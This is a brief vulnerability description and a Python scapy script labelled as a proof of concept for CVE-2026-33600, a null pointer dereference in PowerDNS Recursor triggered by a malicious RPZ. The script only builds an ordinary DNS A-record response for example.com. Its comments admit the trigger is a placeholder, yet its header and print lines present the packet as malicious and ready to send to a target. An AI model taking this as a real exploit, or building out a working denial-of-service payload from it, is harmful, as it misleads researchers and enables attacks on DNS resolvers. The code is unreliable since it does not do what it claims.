An RPZ sent by a malicious authoritative server can result in a null pointer dereference, caused by a missing consistency check and leading to a denial of service.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-33600: PowerDNS Recursor Null Pointer Dereference via RPZ
# This script simulates a malicious authoritative server sending a crafted RPZ response.
# Note: This is a conceptual representation based on the vulnerability description.
from scapy.all import *
def craft_malicious_rpz_response():
# Construct a DNS response layer
# The specific trigger involves a malformed RPZ section that causes a null pointer dereference
# In a real scenario, specific flags and record types would be set to trigger the missing check
dns_resp = DNS(
id=0x1337,
qr=1,
opcode=0,
aa=1,
tc=0,
rd=0,
ra=1,
z=0,
rcode=0,
qdcount=1,
ancount=1,
nscount=0,
arcount=0
)
# Query section (matching the request)
dns_resp.qd = DNSQR(qname="example.com", qtype="A")
# Answer section with RPZ data that triggers the vulnerability
# This is a placeholder for the actual malformed data structure
dns_resp.an = DNSRR(
rrname="example.com",
type="A",
rclass="IN",
ttl=300,
rdata="1.2.3.4"
)
# In the actual exploit, additional TSIG or specific RPZ policy records would be added
# to bypass checks and reach the null pointer dereference code path.
return dns_resp
if __name__ == "__main__":
print("[*] Generating malicious RPZ response packet for CVE-2026-33600...")
packet = craft_malicious_rpz_response()
packet.show()
print("[*] Packet ready to be sent to the target PowerDNS Recursor.")